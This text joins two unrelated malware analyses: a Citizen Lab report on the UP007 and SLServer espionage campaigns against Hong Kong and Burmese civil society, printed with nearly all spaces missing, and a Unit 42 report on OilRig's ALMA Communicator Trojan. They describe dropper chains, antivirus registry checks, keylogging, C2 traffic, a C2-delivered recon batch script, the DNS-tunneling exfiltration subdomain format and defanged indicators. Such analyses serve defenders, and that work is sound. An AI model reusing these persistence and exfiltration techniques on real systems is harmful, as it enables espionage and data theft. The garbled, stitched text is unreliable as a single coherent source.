Table1showsdetailsofthetwoexecutablescontainedinthisnesteddirectoryalongwiththeirdetectionrateby antivirusvendorsaccordingtoVirusTotal.
Filename SampleMD5 AVDetectionRate fzyy.exe d579d7a42ff140952da57264614c37bc Date/Time:01112016 DetectionRate:8/55 wzget.exe d8becbd6f188e3fb2c4d23a2d36d137b Date/Time:03212016 DetectionRate:30/57 Table1:Sampleoverview Thesesamples,whenexecuted,createtwoseparateinfectionchains.
Thelackofemphasisontrickingtargetsintorunningasingle maliciousfileisinteresting.
Weareunsureastowhytheoperatorschosetodeploytwoseparateinfectionchainswithinthesame deliverymechanism.
Itisalsounclearwhythebenigndocumentwasincludedatthetopdirectory,asthiswouldrequiremoreuser interactionforacompromisetobesuccessful.
Itispossiblethatthismixtureofbenignandmaliciousfilesisintendedtolullthe targetsintoafalsesenseofsecurity.
WithinthearchivetherearetwoMicrosoftWordfiles:2016.doc(translation:Predictiveforecastfrom CentreofPublicSentimentin2016PresidentialElections)and73.doc(translation:Electionpollingof73 legislativeelectoraldistricts).Despitehavingdifferentfilenames,theyarethesamefile(MD5hash: 09ddd70517cb48a46d9f93644b29c72f).ThisinfecteddocumentwasanalyzedintherecentPwCreportandthemalwarefamily wasnamedSunOrcalbytheresearchers.
Inthisreportwetakeacloserlookatthetwonestedexecutables:fzyy.exeand wzget.exeandthetwoseparateinfectionchainstheyproduce.
UP007MalwareFamily Thefzyy.exeexecutableisadropperresponsibleforcreatingmultiplefilesandstartingthisparticularinfectionchain.
Whenthe fileisrunitcreatesthefollowingfilesinthedirectory:APPDATA\Microsoft\Internet Explorer\ Filename MD5 Purpose conhost.exe f70b295c6a5121b918682310ce0c2165 LoadsSBieDll.dll SBieDll.dll f80edbb0fcfe7cec17592f61a06e4df2 Loadsmaindll.dll maindll.dll d8ede9e6c3a1a30398b0b98130ee3b38 Loadsdll2.xor https://virustotal.com/en/file/5b875ecf0b7f67a4429aeaa841eddf8e6b58771e16dbdb43ad6918aa7a5b582d/analysis/ https://virustotal.com/en/file/ddc05b9f39f579f64742980980ca9820b83a243889bbc5baa37f5c2c1c4beb30/analysis/ http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 4/10 dll2.xor ce8ec932be16b69ffa06626b3b423395 Payload runas.exe 6a541de84074a2c4ff99eb43252d9030 EstablishespersistenceNotutilizedinthisloadingchain nvsvc.exe e0eb981ad6be0bd16246d5d442028687 Unknownpossiblyoldercomponent Table2:Executableinfectionchainforfzyy.exe Thesefilesareallinitiallystoredasresourceswithinfzyy.exe.
Someofthefilesarestoredinencodedformwhilemaindll.dll isstoredasapackedexecutable.
Whenwritingthefilestodisk,thedropperwilldecodeandwritethefilesstoredinencodedform.
Inadditiontheinfectionchainwillcheckmultipleregistrykeysbeforewritingmaindll.dll.
ThekeyslargelyseemtocheckforthepresenceofpopularChineseantivirusproducts:360Security,KingsoftAntivirus,RisingAV, Jiangmin,andMicropointaswellasapopularfreeantivirusproductAvira.
Interestingly,inthisinstance,eveniftheregistrykeysare present,maindll.dllwillstillbewrittenandtheinfectionchainwillstillcontinue.
Theregistrykeysthatarecheckedbytheinfection chainaresummarizedinTable3.
Key Subkey HKLM\SOFTWARE\360Safe\Liveup curl HKCU\Software\360safe DefaultSkin HKLM\SOFTWARE\kingsoft\Antivirus WorkPath HKLM\SOFTWARE\Avira\Avira Destop Path HKLM\SOFTWARE\rising\RAV installpath HKLM\SOFTWARE\JiangMin InstallPath HKLM\SOFTWARE\Micropoint\Anti-Attack MP100000 Table3:Registrykeysthatfzyy.exechecksforbeforewritingmaindll.dll Onceallthefilesarecreated,conhost.exestarts,loadsSBieDll.dll,thenultimatelyloadsmaindll.dllandthefinal payload,whichwehavenamedUP007(dll2.xor)duetoanidentifierinthenetworktraffic.
TheprimaryfunctionofUP007 appearstobetologkeystrokestotheUSERPROFILE\Local Settings\Temp\keylog\ directoryandsendthemtoaremote server.
UP007usesWindowsSocketstocommunicatewithitscommandandcontrolserver(C2).Whiledoingso,itsendsahardcoded HTTPheaderdisguisedasMicrosoftUpdatetraffic.
Thisislikelyanattempttoescapenoticebycasualinspectionofnetworktraffic.
Onconnection,UP007downloadsanotherpayloaddirectlyfromtheC2server.
Thissecondarypayloadwehavenamed DownLoadgiventhewayitidentifiesitselfinthetrafficwiththeC2server.
Thissecondarypayloadisinjectedintomemory.
The initialnetworktrafficobservedfromtheUP007sampleisseeninFigure3.
https://www.360totalsecurity.com/en/ http://www.kingsoft.co/kav.php http://www.rising-global.com/ http://jiangmin-antivirus.en.softonic.com/ http://micropointbio.com/ https://www.avira.com/ https://msdn.microsoft.com/en-us/library/windows/desktop/ms73854528vvs.8529.aspx 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 5/10 Figure3:NetworkcaptureoftheinitialcommunicationbyUP007.
OncetheentirepayloadisreceivedfromtheC2server,UP007sendsbasicsysteminformationsuchasoperatingsystemversion, IPaddress,andusernameandtheC2respondswithaREADYannouncement(seeFigure4).
Figure4:NetworkcaptureoftheinfectedsystemsendingsysteminformationtotheC2.
Thesecondarypayload(DownLoad)initiatesitsownseparateTCPconnectionwiththeC2server.
Asampleofthenetworktrafficof thissecondarypayloadisseeninFigure5.
Figure5:NetworkcaptureofDownLoadconnectiontotheC2.
Unfortunately,eventhoughtheconnectionwiththeC2wasestablished,wedidnotobserveanyfurtheractivityfromthispayload.
However,DownLoadsstringsshowreferencestothefollowing: https://citizenlab.org/wp-content/uploads/2016/04/image02.png https://citizenlab.org/wp-content/uploads/2016/04/image00.png https://citizenlab.org/wp-content/uploads/2016/04/image01.png 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 6/10 this is cmd this is Desktop Itispossibletheseareinreferencetoadditionalcomponentsorcapabilitiesofthemalware.
Furtheranalysisisrequiredto determinethefunctionofthesecomponents.
UP007CommandandControlInfrastructure ThecommandandcontrolserverfortheUP007sampleishostedonHongKongproviderNewWorldTelecomattheIPaddress 59.188.12[.]123.PassiveDNSdatafromPassiveTotalindicatesthatthedomainnameyeaton.xicp[.
]netpointedtothisIP fromJanuary82016toMarch192016.IntheirrecentreportASERTnotesthatthedomain:yeaton.xicp[.
]netwasusedto advertiseaChineseVPNservicein2012.However,asASERTexplainsgiventhelongperiodbetweentheuseofthedomainfor advertisingandtherecentthreatactivitythepastusesofthedomainmaynotberelatedtothethreatactors.
UP007SamplesandVariations InNovember2013,anexploitdocument(MD5:983333e2c878a62d95747c36748198f0)wasuploadedtovariousmalwaresiteswith thefilename.docx(whichtranslatestoChineseNationalSecurityCouncils InstitutionalStructureandMemberlist)and131106 minutes.docx.
InsteadofreceivingtheStage2binaryintheC2protocolas intherecentUP007sample,theNovember2013sampledirectlyrequestedok.exeviaanHTTPGETrequestto 103.19.85[.]89.Theok.exesamplecommunicatedwithtenday.mysecondarydns[.
]comwhichresolvedto 103.19.85[.
]89.Itwassignedwithacertificatewithserialnumber04 DE 6E CB 4B A2 A5 54 2B 5E 0C 71 EE FD 2A AA.
Oneyearlater,inNovember2014,anotherinstanceoftheUP007dropper(MD5:e2ac89b5c820fc598b92a635a7d8bc33)signed withacertificateusingtheserialnumber3A 72 A8 34 FB EC E5 4F A5 E5 2F 67 BA 63 4D CAwasuploadedto VirusTotal.
AccordingtoVirusTotal,thisfilewasobservedbeinghostedathttp://103.19.85[.
]89/chin.jpg.
Thefinal payloadwasdesignedtocommunicatewiththesamehostforcommandandcontrol.
InAugust2015,aninstanceoftheUP007dropper(MD5:639c7239f40d95f677a99abb059e8338)signedwiththesamecertificate (Serial:5D 11 78 4F B8 17 65 02 3F 89 A4 F4 24 3F E1 A9)asfzyy.exewasuploadedtoVirusTotalspottedinthe wildashttp://hkemail.f3322[.
]org/32.zip.
Thissamplecommunicatedwithhk2[.]upupdate[.
]cnwhichresolvedto 103.27.108[.
]122atthetimeofanalysis.
ThesamplesdetailedinTable4wereidentifiedbyimporthashandotherstructuralsimilaritiesrelatedtotheUP007dropper.
They wereuploadedtoVirusTotalbythesamesubmitteronNovember14,2014andFebruary27,2015.Theyweresignedwiththesame 3A 72...4DCAand5D 11...E1 A9 certificates,respectively.
MD5 ImportHash C2 21455a5c2496e2603f6ba911fbaaed80 820438f3f1efede11425a9cc13ae2dbd hihihihihahaha.vicp[.]cc(113.204.17[.
]59) be378f3d66ecd38cda09508015de71f7 820438f3f1efede11425a9cc13ae2dbd 172.16.10[.
]124 Table4:UP007Variants TheRARarchivedetailedinTable5reportedlydropsthesamefilesresponsibleforloadingtheUP007sample.
Italsoreportedly communicateswith59.188.12[.
]123.Wehavenotbeenabletoobtainthissampledirectly.
MD5 FileName C2 19866e7566373028799abd6844ac16d1 QiHua.rar 219.133.40[.
]1, 59.188.12[.
]123 Table5:UP007Variants SLServerMalwareFamily https://www.passivetotal.org/ https://www.arbornetworks.com/blog/asert/four-element-sword-engagement https://www.arbornetworks.com/blog/asert/four-element-sword-engagement https://virustotal.com/en/file/ef97f13f49266a170f4d334482376bb31335fc323ed80917b9943207ff75f750/analysis/ https://virustotal.com/en/file/fffcd925236e3fa5dce4645b792487add293bbca7117a91cba7c5035ff1c3db0/analysis/ https://virustotal.com/en/file/b748b61ff6c3ea0c64f2359c44e022c629378aab6d7377e64c6ad0dcc5f78746/analysis/ https://virustotal.com/en/file/18adef676b19dd1d8d9205cd04b58cb49e1339b2dabf73ff53141642256e2040/analysis/ https://virustotal.com/en/file/e91449a3a99798e27c9cc21bce1b3ae4f3a7bd4b0b78e3a76c5af8fc726be378/analysis/ http://a.virscan.org/19866e7566373028799abd6844ac16d1 http://a.virscan.org/19866e7566373028799abd6844ac16d1 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 7/10 SLServerMalwareFamily TheSLServersamplewereceivedwasalsorecentlyanalyzedandreportedbyPwC.Itwaspresentedinanoverviewofthreat actorsmakinguseoftherecentTaiwanesepresidentialelectioninemaillurestoenticetargetstoopenmaliciousdocuments.
As notedbyPwC,thisfileisaselfextractingarchiveultimatelyresponsiblefordownloadingabinaryfromawebsitethatwaslikely compromised.
LikePwC,wewereunabletoobtainthefinalKeyainst.exebinaryduetothebehaviouroftheC2duringthetime ofanalysis.
BasedoncommonbehaviouralcharacteristicsandsharedC2itappearsthedownloadedfileanalyzedbyPwCwasMD5: e5e7dcbda781dd0bf5f5da3cccdb094d.
ThissamplewasreferredtoasSunOrcalbyPwC.Thisnamewasbasedonafolder misspelling.
WerefertothemalwarefamilyasSLServerduetoaresourcedialoginthefile(seeFigure6).
Figure6:SLServerdialogresource.
AnotherrecentlyobservedinstanceofthismalwarefoundonVirusTotal(MD5:cfcd2a90e87156e1a811f9c7b0051002)was designedtocommunicatewiththesameC2serverandcontainsthefollowingdebugpath: e:\Working\SVNProject\SLServer\SLServer2.0\release\SLServer.pdb Interestingly,accordingtoVirusTotal,thepreviouslymentionedUP007dropperfzyy.exewasalsoobservedhostedaswthk.txt atthesameURLasthisdownloadedSLServersample.
Theprecisetimeframesduringwhichthesesampleswerehostedand changedremainsunknown.
Table6showsthetimestampsoftheirinitialuploadtoVirusTotal.
FileName MalwareFamily MD5 FirstSubmissionTime wzget.exe SLServer e5e7dcbda781dd0bf5f5da3cccdb094d 2016010719:03:25UTC fzyy.exe UP007 d579d7a42ff140952da57264614c37bc 2016010805:21:18UTC Table6:TimesforSampleUploadtoVirusTotal SLServerPossibleSecondStage TheSLServersample(MD5:e5e7dcbda781dd0bf5f5da3cccdb094d)callsFunctionWorkfromaDLL: OnVirusTotalwediscoveredafilenamedjavaupdata.dll(MD5:7332245f67b6b8a256ab22a6496b4536),whichexportsa functionbythesamename.
StringsintheSLServersamplealsoreferenceafilebythisname.
Whenexecuted,thisDLLcontacts 210.61.12[.
]153usingSSL.ThishostisthesameonepointedtobytheSLServersC2domain,safetyssl.security- centers[.
]com.
Interestingly,whilethe210.61.12[.
]153hostdidnotrespondtotheSLServerconnectionsduringanalysis time,thehostdidaccepttheSSLconnectionsfromjavaupdata.dll.
Furtheranalysisofthisfileisongoing.
SLServerCommandandControlInfrastructure http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html https://virustotal.com/en/file/4018b934ee0ccdd0e469e56acadc66e2d5c11260f35340a6560c2db91f4e3612/analysis/ https://citizenlab.org/wp-content/uploads/2016/04/image05.png https://virustotal.com/en/file/83f967523fb0904cb14ced4e84d1f299c51ff7f33a2a68348dac47e06f3fa2d2/analysis/ https://virustotal.com/en/file/4018b934ee0ccdd0e469e56acadc66e2d5c11260f35340a6560c2db91f4e3612/analysis/ https://virustotal.com/en/file/5b875ecf0b7f67a4429aeaa841eddf8e6b58771e16dbdb43ad6918aa7a5b582d/analysis/ https://virustotal.com/en/file/4018b934ee0ccdd0e469e56acadc66e2d5c11260f35340a6560c2db91f4e3612/analysis/ https://citizenlab.org/wp-content/uploads/2016/04/image07.png https://virustotal.com/en/file/5b598a760115ecc3bc972e808fc8550682e527f2d1352acef5fc6baada31916a/analysis/ 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 8/10 SLServerCommandandControlInfrastructure TheSLServerC2server:safetyssl.security-centers[.
]com resolvedtotheIPaddress:210.61.12[.
]153atthetime ofanalysis.
ThisIPishostedinTaiwanonthehostingproviderChunghwaTelecom,specificallytheirDataCommunicationBusiness Groupoffering.
ItappearstohostthesiteofaTaiwaneseautopartsmanufacturer,YowjungAutoparts.
Thissitemayhavebeen eithercompromisedorcopiedfromalegitimatesource.
Thedomainnamesecurity-centers.comwasregisteredonSeptember112015bytheemails:janmiller- domaingooglemail[.]comandan_ardyth123mail[.
]org.
UsingPassiveDNSdatawefindthefollowingsubdomains wereusedinthetimeperiodafterdomainregistration: safetyssl.security-centers[.
]com computer.security-centers[.
]com security-centers[.
]com www.security-centers[.
]com Thedomaincomputer.security-centers[.
]comwasaC2serverpreviouslyreportedbyASERTrelatedtoasampleofthe TrochilusRATanalyzedinthereport.
ASERTretrievedthatsamplefromthecompromisedMyanmarUnionElectionCommission website.
Theothersubdomains(wwwandthethetoplevelsecurity-centers[.
]com)arelikelythedefaultIPaddressesfor GoDaddyregistereddomains.
ThehostinginformationforthisinfrastructureispresentedintheFigure7.
Figure7:Hostinginfrastructureovertimefor.securitycenters[.
]com SLServerSamplesandVariations WediscoveredthreeadditionalSLServersamplesusingVirusTotal.
Welistthehash,submissiontime,aswellasC2domains associatedwiththesampleinTable7.
MD5 FirstSubmission C2 d07b2738840ce3419df651d3a0a3a246 2016022501:14:15 www.olinaodi[.
]com http://www.cht.com.tw/en/aboutus/aboutcht.html https://whois.domaintools.com/security-centers.com https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Pointed-Dagger.pdf https://citizenlab.org/wp-content/uploads/2016/04/image04.png https://virustotal.com/en/file/bd7b3e29049e992b921b79a4c633a5de5269c76f544b38b5d9614b8c3db9e61a/analysis/ 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 9/10 (74.126.181[.
]10) 397021af7c0284c28db65297a6711235 2016022218:30:19 safetyssl.securitycenters[.
]com (210.61.12[.
]153) dc195d814ec16fe91690b7e949e696f6 2016021711:32:02 www.olinaodi[.
]com (74.126.181[.
]10) cfcd2a90e87156e1a811f9c7b0051002 2015110905:20:33 safetyssl.securitycenters[.
]com (211.255.32[.
]130) Table7:SLServerVariantsOverview RecentCampaignConnections InJanuary2016,ArborNetworksreleasedareporttitledUncoveringtheSevenPointedDaggerinwhichtheydiscussaseriesof sixRARfileshostedontheMyanmarelectioncommissionwebsiteon20October2015.Thefocusofthereportwasonthe discoveryofthenewTrochilusRAT.However,oneoftheRARfileswasnotedasunknownmalware.
Thissample(Security- Patch-Update.exe,MD5:82896b68314d108141728a4112618304)isalsoUP007,signedwiththe5D 11 78 4F B8 17 65 02 3F 89 A4 F4 24 3F E1 A9 certificateandconfiguredtocommunicatewith59.188.12[.
]123directlyoverport8008, identicaltofzyy.exementionedabove.
Inthisinstance,ifanyofthepreviouslydiscussedregistrykeyswerepresent,thesample willexecutethedroppedrunas.exebinary.
Giventhisexecution,nvsvc.exeislikelyalsoanoldercomponent.
Asdiscussed abovetheUP007sampleweanalyzedsharesthesameC2(computer.security-centers[.
]com)astheTrochilusRAT samplereportedbyASERT.
InNovember2015,PaloAltoNetworksreportedonanewlydiscoveredtrojanreferredtoasBookworm.
Theyrevealedacampaign focusedonthetargetingofgovernmententitiesinThailand.
ThecampaignusedamalwarefamilyknownasFFRAT,andthe sampledescribedinthereportconnectedtothedomainhkemail.f3322[.
]orgforcommandandcontrol.
InAugust2015,the samedomainwasreportedlyusedtohostaninstanceofUP007aswell.
Finally,therelationshipbetweentheSLServerC2www.olinaodi[.
]comandourpreviousresearchintotheSurtrmalwarefamilywas highlightedbyPwCthroughtheoverlapinthetoucan6712163[.
]comregistrant.
Wetrackedmalwarecampaignsusingthe SurtrfamilythathavetargetedTibetanorganizationssince2013.
Conclusion ThislatestespionagecampaignagainstHongKongactivistsappearstobeconnectedtoabroadersetoftargets,andoperations.
TherecentdetailedreportingbyASERTmakesitclearthattheUP007malwarefamilyhasbeenfoundinpreviouscampaigns targetingBurmeseinterests.
Inaddition,thecampaignssharesomeC2infrastructurewithpreviousoperationsagainsttargetsin ThailandandtheTibetancommunity.
ThedomainregistrationconnectionsbetweenSLServerinfrastructureandSurtrinfrastructure alsosuggestssomelevelofpotentialcoordinationbetweencampaignstargetingHongKonggroupsandtheTibetancommunity.
Despitetheseconnections,itisunclearifthesecampaignsarebeingconductedbythesamethreatactor.
Wecannotexcludethepossibilitythatdistinctoperatorshaveadegreeofsharingoftoolsandinfrastructure.
Alternatively,security researcherNedMoranhasarticulatedaconceptofadigitalquartermaster,torefertoanactorthatsuppliesthreatinfrastructure andmalwaredevelopmentresourcestomultiplegroups.
Whilethesescenariosareplausible,wedonothaveenoughdatato properlyassessthesecompetinghypotheses,ortomakeconclusivestatementsabouttheidentityofthethreatactors.
WhatisclearfromouranalysisisthatcivilsocietygroupsacrossAsiacontinuetobetargetedbypersistentandorganizedcyber espionagecampaigns.
Civilsocietyoftenlacktheresourcesandawarenesstodefendagainsttheseoperationsandcloserattention tothethreatstheyfaceisneeded.
Acknowledgements SpecialthankstoValkyrieXSecurityResearchGroupandASERT.WearegratefultoJasonQ.NgandKunCleoZhangfor translationassistance,andAdamSenft,JohnScottRailton,andRonDeibertforcomments.
ThisresearchwassupportedbytheJohnDandCatherineT.MacArthurFoundationandtheWilliamandFloraHewlettFoundation.
IndicatorsofCompromise https://www.virustotal.com/en/file/aacb670cb56ae40bd9da94dcf77547e8ef66c02d2590c97c22f8ff2ef79b8e8c/analysis/ https://www.virustotal.com/en/file/a16dc9ec40bba2ba1c3d3cfdff46cde5c76ebf643ead7675908ec0ea967d8981/analysis/ https://www.virustotal.com/en/file/83f967523fb0904cb14ced4e84d1f299c51ff7f33a2a68348dac47e06f3fa2d2/analysis/ http://www.arbornetworks.com/blog/asert/uncovering-the-seven-pointed-dagger/ http://www.arbornetworks.com/blog/asert/uncovering-the-seven-pointed-dagger/ http://researchcenter.paloaltonetworks.com/2015/11/attack-campaign-on-the-government-of-thailand-delivers-bookworm-trojan/ https://citizenlab.org/2013/08/surtr-malware-family-targeting-the-tibetan-community/ https://targetedthreats.net/ https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Pointed-Dagger.pdf https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-malware-supply-chain.pdf https://sites.google.com/site/valkyriexsecurityresearch/ https://www.arbornetworks.com/blog/asert/ https://www.macfound.org/ http://www.hewlett.org/ 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 10/10 IndicatorsofCompromise YarasignaturesareavailablefortheUP007andSLServermalwarefamilieshere MD5Hashes d579d7a42ff140952da57264614c37bc d8becbd6f188e3fb2c4d23a2d36d137b 09ddd70517cb48a46d9f93644b29c72f f70b295c6a5121b918682310ce0c2165 f80edbb0fcfe7cec17592f61a06e4df2 d8ede9e6c3a1a30398b0b98130ee3b38 ce8ec932be16b69ffa06626b3b423395 6a541de84074a2c4ff99eb43252d9030 e0eb981ad6be0bd16246d5d442028687 639c7239f40d95f677a99abb059e8338 d07b2738840ce3419df651d3a0a3a246 397021af7c0284c28db65297a6711235 dc195d814ec16fe91690b7e949e696f6 cfcd2a90e87156e1a811f9c7b0051002 IPAddresses 59.188.12[.
]123 210.61.12[.
]153 Domains safetyssl.security-centers[.
]com computer.security-centers[.
]com hkemail.f3322[.
]org www.olinaodi[.
]com tenday.mysecondarydns[.
]com Citizenlab2016ContactRSS https://github.com/jakubd/malware-signatures/tree/master/yara-rules/between-hk-and-burma.yara https://citizenlab.org/contact https://citizenlab.org/feed/
By Robert Falcone November 8, 2017 OilRig Deploys ALMA Communicator  DNS Tunneling Trojan researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/ Unit 42 has been closely tracking the OilRig threat group since May 2016.
One technique weve been tracking with this threat group is their use of the Clayslide delivery document as attachments to spear-phishing emails in attacks since May 2016.
In our April 2017 posting OilRig Actors Provide a Glimpse into Development and Testing Efforts we showed how we observed the OilRig threat group developing and refining these Clayside delivery documents.
Recently, we observed a new version of the Clayslide delivery document used to install a new custom Trojan whose developer calls it ALMA Communicator.
The delivery document also saved the post-exploitation credential harvesting tool known as Mimikatz, which we believe the threat actors will use to gather account credentials from the compromised system.
While we do not have detailed telemetry, we have reason to believe this attack targeted an individual at a public utilities company in the Middle East.
New Clayslide Delivery Document The most recent build of Clayslide operates in a similar way to its predecessors, as it initially displays an Incompatible worksheet that states that the Excel file was created with a newer version of Excel and the user needs to Enable Content to view the document.
If the user clicks Enable Content, a malicious macro will run that begins by displaying a hidden worksheet that contains decoy contents, as seen in the following: While the decoy is displayed to the victim, the malicious macro accesses data from specific 1/7 https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/ https://researchcenter.paloaltonetworks.com/tag/oilrig/ https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ https://researchcenter.paloaltonetworks.com/tag/clayside/ https://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ cells in the Incompatible worksheet that it concatenates to create an .HTA file, which it then saves to PUBLIC\tmp.hta and opens with the mshta.exe application.
The .HTA file contains HTML that will run a VBScript that finally installs the malicious payload for this attack.
The payload installation process begins with the .HTA file creating a folder named PUBLIC\5468973-4973-50726F6A656374-414C4D412E-2, to which it writes three files with the following names: SystemSyncs.exe m6.e cfg The .HTA file contains two encoded executables that it will decode and write to m6.e and SystemSyncs.exe.
The .HTA file contains a base64 encoded configuration that it decodes and saves to the cfg file, which the Trojan will use to obtain the C2 domain that it will use to communicate with the threat actor.
The C2 domain saved to the cfg file in this attack is prosalar[.
]com.
The SystemSyncs.exe file (SHA256: 2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e) is a custom Trojan created by the OilRig group called ALMA Communicator, which we will describe in detail in the next section.
The m6.e file dropped by the .HTA file is a variant of Mimikatz (SHA256: 2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c) tool.
We have seen the OilRig threat group using Mimikatz for credential gathering during its post-exploitation activities, however, this is the first time we have observed the threat group delivering Mimikatz during the delivery phase of the attack.
We believe the Clayslide delivery document dropped this additional tool based on the limitations of ALMA Communicators C2 channel, which we will describe later in this report.
The VBScript in the .HTA file executes the SystemSyncs.exe payload and achieves persistent execution by creating a scheduled task.
Unlike past Clayslide documents that create a scheduled task via the schtask application via the command prompt, the VBScript programmatically creates the task using the Schedule.
Service object.
The scheduled task created, as seen in Figure 1, shows that the payload will be executed every two minutes with the command line argument Lock.
2/7 Figure 1 Scheduled task created by Clayslide to execute the ALMA Communicator payload ALMA Communicator Trojan The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data.
This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document.
ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.
After reading in its configuration, the Trojan creates two folders for staging, named Download and Upload.
ALMA uses the Download folder to save batch files provided by the C2 server, which it will eventually run.
ALMA uses the Upload folder to store the output of the executed batch files, which it will eventually exfiltrate to the C2 server.
ALMA Communicator uses DNS tunneling as its C2 communication channel using a specific protocol that uses specially crafted subdomains to transmit data to the C2 server and specific IPv4 addresses to transmit data from the C2 to the Trojan.
The transmission of information from the Trojan to the C2 server occurs through DNS requests to resolve specially crafted subdomains on the configured C2 domain.
To build these specially crafted subdomains, the Trojan generates a random four-digit number and concatenates a hardcoded string of ID.
The Trojan then appends a unique identifier for the compromised system to this string.
To generate this unique identifier, the Trojan starts by obtaining the systems ProductId from the registry, specifically at SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId.
If it cannot find this registry key, it will use the hardcoded value 00000-00000-00000-00000.
It then obtains the username and concatenates an underscore followed by the product id string.
The Trojan takes the MD5 hash of this string and uses it as the basis for the unique identifier for the compromised system.
It then appends the hardcoded -0-2D-2D string to finish the construction of the subdomain used to beacon the C2 server.
Figure 2 shows the structure of the domains that ALMA communicator will send to the C2 server to receive data.
3/7 Figure 2 Domain used by ALMA communicator to receive data from the C2 server To provide a better explanation of the unique identifier generated by ALMA communication, lets consider a test system with the username and product id create the string Administrator_00000-00000-00000-00000, which results in an MD5 hash of 35ead98470edf86a1c5a1c5fb2f14e02.
The Trojan will generate the unique identifier string 3d7f11b4 by taking the first, fifth, ninth, thirteenth, seventeenth, twenty first, twenty fifth and twenty ninth characters from the MD5 hash and concatenating them together, as seen in Figure 3.
Figure 3 How ALMA Communicator generates the unique identifier for the compromised system The C2 server will reply to the beacon DNS requests with IPv4 addresses within A records.
The Trojan will parse these requests for two specific IP addresses, one to mark the beginning and one to mark the end of the transmission of data from the C2 to the Trojan.
The two specific IP addresses to mark the start and end of the data are: Start  36.37.94.33 () End  33.33.94.94 ( ) The C2 will respond to DNS queries between these two responses with IP addresses that the Trojan will treat as binary data.
During our analysis, we observed the following data being sent from the C2 server to our analysis system, with  and  representing the start and stop markers for the data: 4/7 1 2 3 4 5 6 7 8 9 _DnsInit.batecho off  chcp 65001\r\necho userdomain\\username 21  echo computername 21  echo ________________________________Task__________________________________ schtasks /query /FO List /TN Google_50726F6A656374- 414C4D41-48747470 /V  findstr /b /n /c:Repeat: Every: 21 schtasks /query /FO List /TN Micro_50726F6A656374- 414C4D41-446E73-2 /V  findstr /b /n /c:Repeat: Every: 21  echo ______________________________________________________________________ Based on the data sent back from the C2, the Trojan will create a file named _DnsInit.bat with commands seen in the data.
The Trojan stores the batch file in the Download folder.
The Trojan will then enumerate this folder and create a cmd.exe process with the path to the batch script as a command line argument.
The Trojan will add to the command line argument the string    followed by the batch scripts filename with the .txt.
Prc file extension to write the output of the command to a text file in the Upload folder.
Before running the process, the following string to the end command line argument to delete the batch script upon execution: \r\nDEL /f /q \0\exit The Trojan will then attempt to send the newly created file in the Upload folder that contains the result of running the command.
The DNS requests used to send this data has four fields that are split up using a hyphen, which are: 1.
Random four-digit number followed by static ID string and the 10 character unique system identifier 2.
Number of DNS queries needed to send entire data stream 3.
Maximum of 20 characters for 10 hexadecimal bytes of data to transmit 4.
String of characters for hexadecimal bytes for filename transmitted To better visualize the structure of a DNS query used to send data, the following is shows the domain name that the Trojan will build to send data to its C2 server: [random 4 digits]ID[unique identifier]-[number of DNS queries needed]-[string of hexadecimal bytes for sent data]-[string of hexadecimal bytes for filename being sent].prosalar[.
]com For example, figure 4 is the first DNS query issued after our testing system ran the _DnsInit.bat script provided by the C2 server mentioned above.
As you can see, each DNS request can only send 10 bytes of data at a time, requiring 29 outbound requests to transmit the 289 bytes of output that was generated by the batch script.
5/7 Figure 4 Subdomain that ALMA Communicator attempts to resolve to transmit data to its C2 server As you can surmise, ALMA Communicators C2 channel is rather limited when it comes to data transfer.
If an actor wished to use ALMA communicator to exfiltrate large files, it would result in a very large number of outbound DNS requests, as each outbound request can only send 10 bytes at a time.
Even more limiting is the data transmission from the C2 server to the Trojan, which can only send 4 bytes per DNS request, as each IPv4 address is treated as data.
We believe this is the reason why the Clayslide delivery document saved the Mimikatz tool to the system instead of having the actor download the tool to the system after a successful compromise.
Based on the 4-byte per DNS request limitation, the ALMA Communicator would generate 189,568 DNS requests (not including the start and stop requests) to transmit the 758,272 byte Mimikatz tool to the system, which may be detected by security systems or personnel.
Conclusion The OilRig threat group continues to use their Clayslide delivery document in their attack campaigns.
The current variant of Clayslide also suggests that this group continues to develop these delivery documents with new installation techniques to evade detection.
This threat group also continues to add new payloads to their toolset as well, with ALMA Communicator being the most recent addition.
